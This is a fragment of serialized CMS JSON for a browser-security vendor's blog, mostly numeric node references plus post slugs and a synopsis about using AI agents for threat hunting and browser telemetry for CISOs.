"nodeType":865},{},[],{"data":61394,"content":61395,"nodeType":866},{},[61396,61399,61405],{"data":61397,"marks":61398,"value":13687,"nodeType":865},{},[],{"data":61400,"content":61401,"nodeType":882},{"uri":3643},[61402],{"data":61403,"marks":61404,"value":9005,"nodeType":865},{},[],{"data":61406,"marks":61407,"value":13697,"nodeType":865},{},[],{"data":61409,"content":61410,"nodeType":866},{},[61411],{"data":61412,"marks":61413,"value":13704,"nodeType":865},{},[],{"data":61415,"content":61416,"nodeType":953},{},[],{"data":61418,"content":61419,"nodeType":866},{},[61420],{"data":61421,"marks":61422,"value":2792,"nodeType":865},{},[],{"data":61424,"content":61425,"nodeType":866},{},[61426],{"data":61427,"marks":61428,"value":1718,"nodeType":865},{},[],{"data":61430,"content":61431,"nodeType":866},{},[61432,61435,61442],{"data":61433,"marks":61434,"value":21,"nodeType":865},{},[],{"data":61436,"content":61437,"nodeType":882},{"uri":13728},[61438],{"data":61439,"marks":61440,"value":2812,"nodeType":865},{},[61441],{"type":997},{"data":61443,"marks":61444,"value":21,"nodeType":865},{},[],{"data":61446,"content":61447,"nodeType":953},{},[],{"data":61449,"content":61450,"nodeType":963},{},[61451],{"data":61452,"marks":61453,"value":13747,"nodeType":865},{},[61454],{"type":961},{"data":61456,"content":61457,"nodeType":866},{},[61458,61461,61467],{"data":61459,"marks":61460,"value":13754,"nodeType":865},{},[],{"data":61462,"content":61463,"nodeType":882},{"uri":13757},[61464],{"data":61465,"marks":61466,"value":13762,"nodeType":865},{},[],{"data":61468,"marks":61469,"value":13766,"nodeType":865},{},[],{"data":61471,"content":61472,"nodeType":866},{},[61473],{"data":61474,"marks":61475,"value":13773,"nodeType":865},{},[],{"data":61477,"content":61478,"nodeType":2396},{},[61479,61502,61523,61544,61565],{"data":61480,"content":61481,"nodeType":1869},{},[61482,61492],{"data":61483,"content":61484,"nodeType":13791},{},[61485],{"data":61486,"content":61487,"nodeType":866},{},[61488],{"data":61489,"marks":61490,"value":13790,"nodeType":865},{},[61491],{"type":961},{"data":61493,"content":61494,"nodeType":13791},{},[61495],{"data":61496,"content":61497,"nodeType":866},{},[61498],{"data":61499,"marks":61500,"value":13802,"nodeType":865},{},[61501],{"type":961},{"data":61503,"content":61504,"nodeType":1869},{},[61505,61514],{"data":61506,"content":61507,"nodeType":1835},{},[61508],{"data":61509,"content":61510,"nodeType":866},{},[61511],{"data":61512,"marks":61513,"value":13815,"nodeType":865},{},[],{"data":61515,"content":61516,"nodeType":1835},{},[61517],{"data":61518,"content":61519,"nodeType":866},{},[61520],{"data":61521,"marks":61522,"value":13825,"nodeType":865},{},[],{"data":61524,"content":61525,"nodeType":1869},{},[61526,61535],{"data":61527,"content":61528,"nodeType":1835},{},[61529],{"data":61530,"content":61531,"nodeType":866},{},[61532],{"data":61533,"marks":61534,"value":13838,"nodeType":865},{},[],{"data":61536,"content":61537,"nodeType":1835},{},[61538],{"data":61539,"content":61540,"nodeType":866},{},[61541],{"data":61542,"marks":61543,"value":13825,"nodeType":865},{},[],{"data":61545,"content":61546,"nodeType":1869},{},[61547,61556],{"data":61548,"content":61549,"nodeType":1835},{},[61550],{"data":61551,"content":61552,"nodeType":866},{},[61553],{"data":61554,"marks":61555,"value":13860,"nodeType":865},{},[],{"data":61557,"content":61558,"nodeType":1835},{},[61559],{"data":61560,"content":61561,"nodeType":866},{},[61562],{"data":61563,"marks":61564,"value":13870,"nodeType":865},{},[],{"data":61566,"content":61567,"nodeType":1869},{},[61568,61577],{"data":61569,"content":61570,"nodeType":1835},{},[61571],{"data":61572,"content":61573,"nodeType":866},{},[61574],{"data":61575,"marks":61576,"value":13883,"nodeType":865},{},[],{"data":61578,"content":61579,"nodeType":1835},{},[61580],{"data":61581,"content":61582,"nodeType":866},{},[61583],{"data":61584,"marks":61585,"value":13893,"nodeType":865},{},[],{"data":61587,"content":61588,"nodeType":866},{},[61589],{"data":61590,"marks":61591,"value":21,"nodeType":865},{},[],{"items":61593},[61594,61596],{"sys":61595,"name":11426},{"id":11425},{"sys":61597,"name":342},{"id":8410},{"items":61599},[61600],{"fullName":13913,"firstName":13914,"jobTitle":13915,"profilePicture":61601},{"url":13917},{"__typename":1788,"sys":61603,"content":61604,"title":11415,"synopsis":11416,"hashTags":59,"publishedDate":11417,"slug":11418,"tagsCollection":62242,"authorsCollection":62248},{"id":10661},{"json":61605},{"data":61606,"content":61607,"nodeType":1739},{},[61608,61623,61628,61634,61640,61643,61650,61665,61680,61686,61691,61697,61702,61708,61715,61721,61736,61761,61766,61771,61778,61784,61799,61823,61848,61854,61859,61866,61872,61882,61888,61920,61925,61958,61989,61994,61997,62004,62010,62015,62021,62027,62032,62038,62044,62066,62069,62076,62082,62089,62095,62101,62117,62123,62128,62134,62141,62147,62162,62168,62183,62186,62193,62199,62205,62211,62214,62220,62226],{"data":61609,"content":61610,"nodeType":866},{},[61611,61614,61620],{"data":61612,"marks":61613,"value":10672,"nodeType":865},{},[],{"data":61615,"content":61616,"nodeType":882},{"uri":8556},[61617],{"data":61618,"marks":61619,"value":10679,"nodeType":865},{},[],{"data":61621,"marks":61622,"value":10683,"nodeType":865},{},[],{"data":61624,"content":61627,"nodeType":925},{"target":61625},{"sys":61626},{"id":10688,"type":922,"linkType":923},[],{"data":61629,"content":61630,"nodeType":866},{},[61631],{"data":61632,"marks":61633,"value":10696,"nodeType":865},{},[],{"data":61635,"content":61636,"nodeType":866},{},[61637],{"data":61638,"marks":61639,"value":10703,"nodeType":865},{},[],{"data":61641,"content":61642,"nodeType":953},{},[],{"data":61644,"content":61645,"nodeType":963},{},[61646],{"data":61647,"marks":61648,"value":10714,"nodeType":865},{},[61649],{"type":961},{"data":61651,"content":61652,"nodeType":866},{},[61653,61656,61662],{"data":61654,"marks":61655,"value":10721,"nodeType":865},{},[],{"data":61657,"content":61658,"nodeType":882},{"uri":10724},[61659],{"data":61660,"marks":61661,"value":8814,"nodeType":865},{},[],{"data":61663,"marks":61664,"value":10732,"nodeType":865},{},[],{"data":61666,"content":61667,"nodeType":866},{},[61668,61671,61677],{"data":61669,"marks":61670,"value":10739,"nodeType":865},{},[],{"data":61672,"content":61673,"nodeType":882},{"uri":10742},[61674],{"data":61675,"marks":61676,"value":10747,"nodeType":865},{},[],{"data":61678,"marks":61679,"value":10751,"nodeType":865},{},[],{"data":61681,"content":61682,"nodeType":866},{},[61683],{"data":61684,"marks":61685,"value":10758,"nodeType":865},{},[],{"data":61687,"content":61690,"nodeType":925},{"target":61688},{"sys":61689},{"id":8570,"type":922,"linkType":923},[],{"data":61692,"content":61693,"nodeType":866},{},[61694],{"data":61695,"marks":61696,"value":10770,"nodeType":865},{},[],{"data":61698,"content":61701,"nodeType":925},{"target":61699},{"sys":61700},{"id":10775,"type":922,"linkType":923},[],{"data":61703,"content":61704,"nodeType":866},{},[61705],{"data":61706,"marks":61707,"value":10783,"nodeType":865},{},[],{"data":61709,"content":61710,"nodeType":1458},{},[61711],{"data":61712,"marks":61713,"value":10791,"nodeType":865},{},[61714],{"type":961},{"data":61716,"content":61717,"nodeType":866},{},[61718],{"data":61719,"marks":61720,"value":10798,"nodeType":865},{},[],{"data":61722,"content":61723,"nodeType":866},{},[61724,61727,61733],{"data":61725,"marks":61726,"value":10805,"nodeType":865},{},[],{"data":61728,"content":61729,"nodeType":882},{"uri":3643},[61730],{"data":61731,"marks":61732,"value":10812,"nodeType":865},{},[],{"data":61734,"marks":61735,"value":10816,"nodeType":865},{},[],{"data":61737,"content":61738,"nodeType":866},{},[61739,61742,61749,61752,61758],{"data":61740,"marks":61741,"value":10823,"nodeType":865},{},[],{"data":61743,"content":61744,"nodeType":882},{"uri":3135},[61745],{"data":61746,"marks":61747,"value":10831,"nodeType":865},{},[61748],{"type":997},{"data":61750,"marks":61751,"value":10835,"nodeType":865},{},[],{"data":61753,"content":61754,"nodeType":882},{"uri":3087},[61755],{"data":61756,"marks":61757,"value":3093,"nodeType":865},{},[],{"data":61759,"marks":61760,"value":10845,"nodeType":865},{},[],{"data":61762,"content":61765,"nodeType":925},{"target":61763},{"sys":61764},{"id":10850,"type":922,"linkType":923},[],{"data":61767,"content":61770,"nodeType":925},{"target":61768},{"sys":61769},{"id":10856,"type":922,"linkType":923},[],{"data":61772,"content":61773,"nodeType":1458},{},[61774],{"data":61775,"marks":61776,"value":10865,"nodeType":865},{},[61777],{"type":961},{"data":61779,"content":61780,"nodeType":866},{},[61781],{"data":61782,"marks":61783,"value":10872,"nodeType":865},{},[],{"data":61785,"content":61786,"nodeType":866},{},[61787,61790,61796],{"data":61788,"marks":61789,"value":10879,"nodeType":865},{},[],{"data":61791,"content":61792,"nodeType":882},{"uri":5636},[61793],{"data":61794,"marks":61795,"value":10886,"nodeType":865},{},[],{"data":61797,"marks":61798,"value":10890,"nodeType":865},{},[],{"data":61800,"content":61801,"nodeType":866},{},[61802,61805,61811,61814,61820],{"data":61803,"marks":61804,"value":10897,"nodeType":865},{},[],{"data":61806,"content":61807,"nodeType":882},{"uri":10900},[61808],{"data":61809,"marks":61810,"value":10905,"nodeType":865},{},[],{"data":61812,"marks":61813,"value":10909,"nodeType":865},{},[],{"data":61815,"content":61816,"nodeType":882},{"uri":1384},[61817],{"data":61818,"marks":61819,"value":10916,"nodeType":865},{},[],{"data":61821,"marks":61822,"value":10920,"nodeType":865},{},[],{"data":61824,"content":61825,"nodeType":866},{},[61826,61829,61835,61838,61845],{"data":61827,"marks":61828,"value":10927,"nodeType":865},{},[],{"data":61830,"content":61831,"nodeType":882},{"uri":10930},[61832],{"data":61833,"marks":61834,"value":10935,"nodeType":865},{},[],{"data":61836,"marks":61837,"value":10939,"nodeType":865},{},[],{"data":61839,"content":61840,"nodeType":882},{"uri":10942},[61841],{"data":61842,"marks":61843,"value":10948,"nodeType":865},{},[61844],{"type":997},{"data":61846,"marks":61847,"value":10952,"nodeType":865},{},[],{"data":61849,"content":61850,"nodeType":866},{},[61851],{"data":61852,"marks":61853,"value":10959,"nodeType":865},{},[],{"data":61855,"content":61858,"nodeType":925},{"target":61856},{"sys":61857},{"id":10964,"type":922,"linkType":923},[],{"data":61860,"content":61861,"nodeType":1458},{},[61862],{"data":61863,"marks":61864,"value":10973,"nodeType":865},{},[61865],{"type":961},{"data":61867,"content":61868,"nodeType":866},{},[61869],{"data":61870,"marks":61871,"value":10980,"nodeType":865},{},[],{"data":61873,"content":61874,"nodeType":866},{},[61875,61879],{"data":61876,"marks":61877,"value":360,"nodeType":865},{},[61878],{"type":961},{"data":61880,"marks":61881,"value":10991,"nodeType":865},{},[],{"data":61883,"content":61884,"nodeType":866},{},[61885],{"data":61886,"marks":61887,"value":10998,"nodeType":865},{},[],{"data":61889,"content":61890,"nodeType":866},{},[61891,61894,61900,61903,61907,61910,61917],{"data":61892,"marks":61893,"value":11005,"nodeType":865},{},[],{"data":61895,"content":61896,"nodeType":882},{"uri":11008},[61897],{"data":61898,"marks":61899,"value":11013,"nodeType":865},{},[],{"data":61901,"marks":61902,"value":11017,"nodeType":865},{},[],{"data":61904,"marks":61905,"value":11022,"nodeType":865},{},[61906],{"type":961},{"data":61908,"marks":61909,"value":11026,"nodeType":865},{},[],{"data":61911,"content":61912,"nodeType":882},{"uri":4236},[61913],{"data":61914,"marks":61915,"value":11034,"nodeType":865},{},[61916],{"type":997},{"data":61918,"marks":61919,"value":10349,"nodeType":865},{},[],{"data":61921,"content":61924,"nodeType":925},{"target":61922},{"sys":61923},{"id":11042,"type":922,"linkType":923},[],{"data":61926,"content":61927,"nodeType":866},{},[61928,61931,61935,61938,61945,61948,61955],{"data":61929,"marks":61930,"value":11050,"nodeType":865},{},[],{"data":61932,"marks":61933,"value":315,"nodeType":865},{},[61934],{"type":961},{"data":61936,"marks":61937,"value":11058,"nodeType":865},{},[],{"data":61939,"content":61940,"nodeType":882},{"uri":11061},[61941],{"data":61942,"marks":61943,"value":11067,"nodeType":865},{},[61944],{"type":997},{"data":61946,"marks":61947,"value":11071,"nodeType":865},{},[],{"data":61949,"content":61950,"nodeType":882},{"uri":10494},[61951],{"data":61952,"marks":61953,"value":11079,"nodeType":865},{},[61954],{"type":997},{"data":61956,"marks":61957,"value":11083,"nodeType":865},{},[],{"data":61959,"content":61960,"nodeType":866},{},[61961,61964,61968,61971,61977,61980,61986],{"data":61962,"marks":61963,"value":11090,"nodeType":865},{},[],{"data":61965,"marks":61966,"value":11095,"nodeType":865},{},[61967],{"type":961},{"data":61969,"marks":61970,"value":11099,"nodeType":865},{},[],{"data":61972,"content":61973,"nodeType":882},{"uri":11102},[61974],{"data":61975,"marks":61976,"value":11107,"nodeType":865},{},[],{"data":61978,"marks":61979,"value":11111,"nodeType":865},{},[],{"data":61981,"content":61982,"nodeType":882},{"uri":3009},[61983],{"data":61984,"marks":61985,"value":11118,"nodeType":865},{},[],{"data":61987,"marks":61988,"value":11122,"nodeType":865},{},[],{"data":61990,"content":61993,"nodeType":925},{"target":61991},{"sys":61992},{"id":11127,"type":922,"linkType":923},[],{"data":61995,"content":61996,"nodeType":953},{},[],{"data":61998,"content":61999,"nodeType":963},{},[62000],{"data":62001,"marks":62002,"value":11139,"nodeType":865},{},[62003],{"type":961},{"data":62005,"content":62006,"nodeType":866},{},[62007],{"data":62008,"marks":62009,"value":11146,"nodeType":865},{},[],{"data":62011,"content":62014,"nodeType":925},{"target":62012},{"sys":62013},{"id":11151,"type":922,"linkType":923},[],{"data":62016,"content":62017,"nodeType":866},{},[62018],{"data":62019,"marks":62020,"value":11159,"nodeType":865},{},[],{"data":62022,"content":62023,"nodeType":866},{},[62024],{"data":62025,"marks":62026,"value":11166,"nodeType":865},{},[],{"data":62028,"content":62031,"nodeType":925},{"target":62029},{"sys":62030},{"id":11171,"type":922,"linkType":923},[],{"data":62033,"content":62034,"nodeType":866},{},[62035],{"data":62036,"marks":62037,"value":11179,"nodeType":865},{},[],{"data":62039,"content":62040,"nodeType":866},{},[62041],{"data":62042,"marks":62043,"value":11186,"nodeType":865},{},[],{"data":62045,"content":62046,"nodeType":11214},{},[62047],{"data":62048,"content":62049,"nodeType":866},{},[62050,62053,62059,62062],{"data":62051,"marks":62052,"value":11196,"nodeType":865},{},[],{"data":62054,"content":62055,"nodeType":882},{"uri":11199},[62056],{"data":62057,"marks":62058,"value":11204,"nodeType":865},{},[],{"data":62060,"marks":62061,"value":11208,"nodeType":865},{},[],{"data":62063,"marks":62064,"value":11213,"nodeType":865},{},[62065],{"type":944},{"data":62067,"content":62068,"nodeType":953},{},[],{"data":62070,"content":62071,"nodeType":963},{},[62072],{"data":62073,"marks":62074,"value":11225,"nodeType":865},{},[62075],{"type":961},{"data":62077,"content":62078,"nodeType":866},{},[62079],{"data":62080,"marks":62081,"value":11232,"nodeType":865},{},[],{"data":62083,"content":62084,"nodeType":1458},{},[62085],{"data":62086,"marks":62087,"value":11240,"nodeType":865},{},[62088],{"type":961},{"data":62090,"content":62091,"nodeType":866},{},[62092],{"data":62093,"marks":62094,"value":11247,"nodeType":865},{},[],{"data":62096,"content":62097,"nodeType":866},{},[62098],{"data":62099,"marks":62100,"value":11254,"nodeType":865},{},[],{"data":62102,"content":62103,"nodeType":866},{},[62104,62107,62114],{"data":62105,"marks":62106,"value":11261,"nodeType":865},{},[],{"data":62108,"content":62109,"nodeType":882},{"uri":5636},[62110],{"data":62111,"marks":62112,"value":11269,"nodeType":865},{},[62113],{"type":997},{"data":62115,"marks":62116,"value":11273,"nodeType":865},{},[],{"data":62118,"content":62119,"nodeType":866},{},[62120],{"data":62121,"marks":62122,"value":11280,"nodeType":865},{},[],{"data":62124,"content":62127,"nodeType":925},{"target":62125},{"sys":62126},{"id":11285,"type":922,"linkType":923},[],{"data":62129,"content":62130,"nodeType":866},{},[62131],{"data":62132,"marks":62133,"value":11293,"nodeType":865},{},[],{"data":62135,"content":62136,"nodeType":1458},{},[62137],{"data":62138,"marks":62139,"value":11301,"nodeType":865},{},[62140],{"type":961},{"data":62142,"content":62143,"nodeType":866},{},[62144],{"data":62145,"marks":62146,"value":11308,"nodeType":865},{},[],{"data":62148,"content":62149,"nodeType":866},{},[62150,62153,62159],{"data":62151,"marks":62152,"value":11315,"nodeType":865},{},[],{"data":62154,"content":62155,"nodeType":882},{"uri":3643},[62156],{"data":62157,"marks":62158,"value":9005,"nodeType":865},{},[],{"data":62160,"marks":62161,"value":11325,"nodeType":865},{},[],{"data":62163,"content":62164,"nodeType":866},{},[62165],{"data":62166,"marks":62167,"value":11332,"nodeType":865},{},[],{"data":62169,"content":62170,"nodeType":866},{},[62171,62174,62180],{"data":62172,"marks":62173,"value":11339,"nodeType":865},{},[],{"data":62175,"content":62176,"nodeType":882},{"uri":11342},[62177],{"data":62178,"marks":62179,"value":11347,"nodeType":865},{},[],{"data":62181,"marks":62182,"value":11351,"nodeType":865},{},[],{"data":62184,"content":62185,"nodeType":953},{},[],{"data":62187,"content":62188,"nodeType":963},{},[62189],{"data":62190,"marks":62191,"value":11362,"nodeType":865},{},[62192],{"type":961},{"data":62194,"content":62195,"nodeType":866},{},[62196],{"data":62197,"marks":62198,"value":11369,"nodeType":865},{},[],{"data":62200,"content":62201,"nodeType":866},{},[62202],{"data":62203,"marks":62204,"value":11376,"nodeType":865},{},[],{"data":62206,"content":62207,"nodeType":866},{},[62208],{"data":62209,"marks":62210,"value":11383,"nodeType":865},{},[],{"data":62212,"content":62213,"nodeType":953},{},[],{"data":62215,"content":62216,"nodeType":866},{},[62217],{"data":62218,"marks":62219,"value":2792,"nodeType":865},{},[],{"data":62221,"content":62222,"nodeType":866},{},[62223],{"data":62224,"marks":62225,"value":1718,"nodeType":865},{},[],{"data":62227,"content":62228,"nodeType":866},{},[62229,62232,62239],{"data":62230,"marks":62231,"value":21,"nodeType":865},{},[],{"data":62233,"content":62234,"nodeType":882},{"uri":1728},[62235],{"data":62236,"marks":62237,"value":10641,"nodeType":865},{},[62238],{"type":997},{"data":62240,"marks":62241,"value":1738,"nodeType":865},{},[],{"items":62243},[62244,62246],{"sys":62245,"name":342},{"id":8410},{"sys":62247,"name":11426},{"id":11425},{"items":62249},[62250],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":62251},{"url":11434},"blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",{"json":62254},{"data":62255,"content":62256,"nodeType":1739},{},[62257],{"data":62258,"content":62259,"nodeType":866},{},[62260],{"data":62261,"marks":62262,"value":62263,"nodeType":865},{},[],"What does agentic threat hunting against modern browser-based attacks actually look like? At Push, we built an end-to-end threat hunting and detection engineering capability that uses AI agents as a force multiplier, tripling the number of new detections we’re shipping each month. Here’s how it works.",{"id":15283,"publishedAt":62265},"2026-08-12T11:52:54.643Z",{"items":62267},[62268,62270],{"sys":62269,"name":11426},{"id":11425},{"sys":62271,"name":342},{"id":8410},{"items":62273},[62274,62276,62278,62280,62282,62284,62286,62288,62290,62292,62294,62296,62298,62300,62302,62304,62306],{"sys":62275,"name":297,"slug":298,"tier":31},{"id":294},{"sys":62277,"name":235,"slug":236,"tier":31},{"id":232},{"sys":62279,"name":342,"slug":343,"tier":31},{"id":339},{"sys":62281,"name":279,"slug":280,"tier":31},{"id":276},{"sys":62283,"name":519,"slug":520,"tier":31},{"id":516},{"sys":62285,"name":351,"slug":352,"tier":45},{"id":348},{"sys":62287,"name":315,"slug":316,"tier":45},{"id":312},{"sys":62289,"name":440,"slug":441,"tier":45},{"id":437},{"sys":62291,"name":244,"slug":245,"tier":45},{"id":241},{"sys":62293,"name":261,"slug":262,"tier":45},{"id":258},{"sys":62295,"name":511,"slug":512,"tier":45},{"id":508},{"sys":62297,"name":360,"slug":361,"tier":45},{"id":357},{"sys":62299,"name":484,"slug":485,"tier":45},{"id":481},{"sys":62301,"name":448,"slug":449,"tier":45},{"id":445},{"sys":62303,"name":563,"slug":564,"tier":45},{"id":560},{"sys":62305,"name":324,"slug":325,"tier":45},{"id":321},{"sys":62307,"name":571,"slug":572,"tier":45},{"id":568},"EIw901ieTSJKgYUJtBGNL0gxQIxXjCkEBakCEa5VEHA",{"id":62310,"title":10645,"authorsCollection":62311,"content":62315,"extension":228,"faqItemsCollection":62853,"faqTitle":59,"featured":6,"hashTags":59,"meta":62855,"metaTitle":62856,"ogImage":59,"postType":1783,"publishedDate":10647,"relatedBlogPostsCollection":62857,"slug":10648,"stem":65369,"subtitle":59,"summary":65370,"synopsis":10646,"sys":65381,"tagsCollection":65383,"topicsCollection":65389,"__hash__":65437},"blog/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help.json",{"items":62312},[62313],{"fullName":849,"firstName":850,"jobTitle":851,"socialLinks":59,"profilePicture":62314},{"url":853},{"json":62316,"links":62745},{"data":62317,"content":62318,"nodeType":1739},{},[62319,62326,62350,62355,62361,62376,62389,62392,62399,62412,62428,62448,62453,62466,62490,62495,62500,62513,62516,62523,62529,62536,62552,62565,62572,62594,62600,62607,62631,62637,62644,62650,62655,62658,62665,62671,62678,62683,62686,62693,62699,62705,62711,62721,62724,62730],{"data":62320,"content":62321,"nodeType":963},{},[62322],{"data":62323,"marks":62324,"value":10148,"nodeType":865},{},[62325],{"type":961},{"data":62327,"content":62328,"nodeType":866},{},[62329,62332,62338,62341,62347],{"data":62330,"marks":62331,"value":10155,"nodeType":865},{},[],{"data":62333,"content":62334,"nodeType":882},{"uri":10158},[62335],{"data":62336,"marks":62337,"value":10163,"nodeType":865},{},[],{"data":62339,"marks":62340,"value":10167,"nodeType":865},{},[],{"data":62342,"content":62343,"nodeType":882},{"uri":10170},[62344],{"data":62345,"marks":62346,"value":10175,"nodeType":865},{},[],{"data":62348,"marks":62349,"value":10179,"nodeType":865},{},[],{"data":62351,"content":62354,"nodeType":925},{"target":62352},{"sys":62353},{"id":10184,"type":922,"linkType":923},[],{"data":62356,"content":62357,"nodeType":866},{},[62358],{"data":62359,"marks":62360,"value":10192,"nodeType":865},{},[],{"data":62362,"content":62363,"nodeType":866},{},[62364,62367,62373],{"data":62365,"marks":62366,"value":10199,"nodeType":865},{},[],{"data":62368,"content":62369,"nodeType":882},{"uri":10202},[62370],{"data":62371,"marks":62372,"value":10207,"nodeType":865},{},[],{"data":62374,"marks":62375,"value":10211,"nodeType":865},{},[],{"data":62377,"content":62378,"nodeType":866},{},[62379,62382,62386],{"data":62380,"marks":62381,"value":10218,"nodeType":865},{},[],{"data":62383,"marks":62384,"value":10223,"nodeType":865},{},[62385],{"type":961},{"data":62387,"marks":62388,"value":1048,"nodeType":865},{},[],{"data":62390,"content":62391,"nodeType":953},{},[],{"data":62393,"content":62394,"nodeType":963},{},[62395],{"data":62396,"marks":62397,"value":10237,"nodeType":865},{},[62398],{"type":961},{"data":62400,"content":62401,"nodeType":866},{},[62402,62405,62409],{"data":62403,"marks":62404,"value":10244,"nodeType":865},{},[],{"data":62406,"marks":62407,"value":10249,"nodeType":865},{},[62408],{"type":944},{"data":62410,"marks":62411,"value":1048,"nodeType":865},{},[],{"data":62413,"content":62414,"nodeType":866},{},[62415,62418,62425],{"data":62416,"marks":62417,"value":10259,"nodeType":865},{},[],{"data":62419,"content":62420,"nodeType":882},{"uri":3620},[62421],{"data":62422,"marks":62423,"value":10267,"nodeType":865},{},[62424],{"type":997},{"data":62426,"marks":62427,"value":10271,"nodeType":865},{},[],{"data":62429,"content":62430,"nodeType":866},{},[62431,62434,62438,62441,62445],{"data":62432,"marks":62433,"value":10278,"nodeType":865},{},[],{"data":62435,"marks":62436,"value":10283,"nodeType":865},{},[62437],{"type":961},{"data":62439,"marks":62440,"value":10287,"nodeType":865},{},[],{"data":62442,"marks":62443,"value":10292,"nodeType":865},{},[62444],{"type":944},{"data":62446,"marks":62447,"value":10296,"nodeType":865},{},[],{"data":62449,"content":62452,"nodeType":925},{"target":62450},{"sys":62451},{"id":10301,"type":922,"linkType":923},[],{"data":62454,"content":62455,"nodeType":866},{},[62456,62459,62463],{"data":62457,"marks":62458,"value":10309,"nodeType":865},{},[],{"data":62460,"marks":62461,"value":10314,"nodeType":865},{},[62462],{"type":961},{"data":62464,"marks":62465,"value":10318,"nodeType":865},{},[],{"data":62467,"content":62468,"nodeType":866},{},[62469,62472,62478,62481,62487],{"data":62470,"marks":62471,"value":10325,"nodeType":865},{},[],{"data":62473,"content":62474,"nodeType":882},{"uri":10328},[62475],{"data":62476,"marks":62477,"value":10333,"nodeType":865},{},[],{"data":62479,"marks":62480,"value":10337,"nodeType":865},{},[],{"data":62482,"content":62483,"nodeType":882},{"uri":10340},[62484],{"data":62485,"marks":62486,"value":10345,"nodeType":865},{},[],{"data":62488,"marks":62489,"value":10349,"nodeType":865},{},[],{"data":62491,"content":62494,"nodeType":925},{"target":62492},{"sys":62493},{"id":10354,"type":922,"linkType":923},[],{"data":62496,"content":62499,"nodeType":925},{"target":62497},{"sys":62498},{"id":10360,"type":922,"linkType":923},[],{"data":62501,"content":62502,"nodeType":866},{},[62503,62506,62510],{"data":62504,"marks":62505,"value":10368,"nodeType":865},{},[],{"data":62507,"marks":62508,"value":10373,"nodeType":865},{},[62509],{"type":961},{"data":62511,"marks":62512,"value":10377,"nodeType":865},{},[],{"data":62514,"content":62515,"nodeType":953},{},[],{"data":62517,"content":62518,"nodeType":963},{},[62519],{"data":62520,"marks":62521,"value":10388,"nodeType":865},{},[62522],{"type":961},{"data":62524,"content":62525,"nodeType":866},{},[62526],{"data":62527,"marks":62528,"value":10395,"nodeType":865},{},[],{"data":62530,"content":62531,"nodeType":1458},{},[62532],{"data":62533,"marks":62534,"value":10403,"nodeType":865},{},[62535],{"type":961},{"data":62537,"content":62538,"nodeType":866},{},[62539,62542,62549],{"data":62540,"marks":62541,"value":21,"nodeType":865},{},[],{"data":62543,"content":62544,"nodeType":882},{"uri":3288},[62545],{"data":62546,"marks":62547,"value":10417,"nodeType":865},{},[62548],{"type":997},{"data":62550,"marks":62551,"value":10421,"nodeType":865},{},[],{"data":62553,"content":62554,"nodeType":866},{},[62555,62558,62562],{"data":62556,"marks":62557,"value":10428,"nodeType":865},{},[],{"data":62559,"marks":62560,"value":10433,"nodeType":865},{},[62561],{"type":961},{"data":62563,"marks":62564,"value":10437,"nodeType":865},{},[],{"data":62566,"content":62567,"nodeType":1458},{},[62568],{"data":62569,"marks":62570,"value":288,"nodeType":865},{},[62571],{"type":961},{"data":62573,"content":62574,"nodeType":866},{},[62575,62579,62587,62591],{"data":62576,"marks":62577,"value":21,"nodeType":865},{},[62578],{"type":961},{"data":62580,"content":62581,"nodeType":882},{"uri":4136},[62582],{"data":62583,"marks":62584,"value":10460,"nodeType":865},{},[62585,62586],{"type":997},{"type":961},{"data":62588,"marks":62589,"value":10465,"nodeType":865},{},[62590],{"type":961},{"data":62592,"marks":62593,"value":10469,"nodeType":865},{},[],{"data":62595,"content":62596,"nodeType":866},{},[62597],{"data":62598,"marks":62599,"value":10476,"nodeType":865},{},[],{"data":62601,"content":62602,"nodeType":1458},{},[62603],{"data":62604,"marks":62605,"value":10484,"nodeType":865},{},[62606],{"type":961},{"data":62608,"content":62609,"nodeType":866},{},[62610,62613,62619,62622,62628],{"data":62611,"marks":62612,"value":10491,"nodeType":865},{},[],{"data":62614,"content":62615,"nodeType":882},{"uri":10494},[62616],{"data":62617,"marks":62618,"value":10499,"nodeType":865},{},[],{"data":62620,"marks":62621,"value":10503,"nodeType":865},{},[],{"data":62623,"content":62624,"nodeType":882},{"uri":1362},[62625],{"data":62626,"marks":62627,"value":10510,"nodeType":865},{},[],{"data":62629,"marks":62630,"value":10514,"nodeType":865},{},[],{"data":62632,"content":62633,"nodeType":866},{},[62634],{"data":62635,"marks":62636,"value":10521,"nodeType":865},{},[],{"data":62638,"content":62639,"nodeType":1458},{},[62640],{"data":62641,"marks":62642,"value":10529,"nodeType":865},{},[62643],{"type":961},{"data":62645,"content":62646,"nodeType":866},{},[62647],{"data":62648,"marks":62649,"value":10536,"nodeType":865},{},[],{"data":62651,"content":62654,"nodeType":925},{"target":62652},{"sys":62653},{"id":10541,"type":922,"linkType":923},[],{"data":62656,"content":62657,"nodeType":953},{},[],{"data":62659,"content":62660,"nodeType":963},{},[62661],{"data":62662,"marks":62663,"value":10553,"nodeType":865},{},[62664],{"type":961},{"data":62666,"content":62667,"nodeType":866},{},[62668],{"data":62669,"marks":62670,"value":10560,"nodeType":865},{},[],{"data":62672,"content":62673,"nodeType":866},{},[62674],{"data":62675,"marks":62676,"value":10568,"nodeType":865},{},[62677],{"type":961},{"data":62679,"content":62682,"nodeType":925},{"target":62680},{"sys":62681},{"id":10573,"type":922,"linkType":923},[],{"data":62684,"content":62685,"nodeType":953},{},[],{"data":62687,"content":62688,"nodeType":1458},{},[62689],{"data":62690,"marks":62691,"value":10585,"nodeType":865},{},[62692],{"type":961},{"data":62694,"content":62695,"nodeType":866},{},[62696],{"data":62697,"marks":62698,"value":10592,"nodeType":865},{},[],{"data":62700,"content":62701,"nodeType":866},{},[62702],{"data":62703,"marks":62704,"value":10599,"nodeType":865},{},[],{"data":62706,"content":62707,"nodeType":866},{},[62708],{"data":62709,"marks":62710,"value":10606,"nodeType":865},{},[],{"data":62712,"content":62713,"nodeType":866},{},[62714,62718],{"data":62715,"marks":62716,"value":10614,"nodeType":865},{},[62717],{"type":961},{"data":62719,"marks":62720,"value":10618,"nodeType":865},{},[],{"data":62722,"content":62723,"nodeType":953},{},[],{"data":62725,"content":62726,"nodeType":866},{},[62727],{"data":62728,"marks":62729,"value":5006,"nodeType":865},{},[],{"data":62731,"content":62732,"nodeType":866},{},[62733,62736,62742],{"data":62734,"marks":62735,"value":10634,"nodeType":865},{},[],{"data":62737,"content":62738,"nodeType":882},{"uri":9244},[62739],{"data":62740,"marks":62741,"value":10641,"nodeType":865},{},[],{"data":62743,"marks"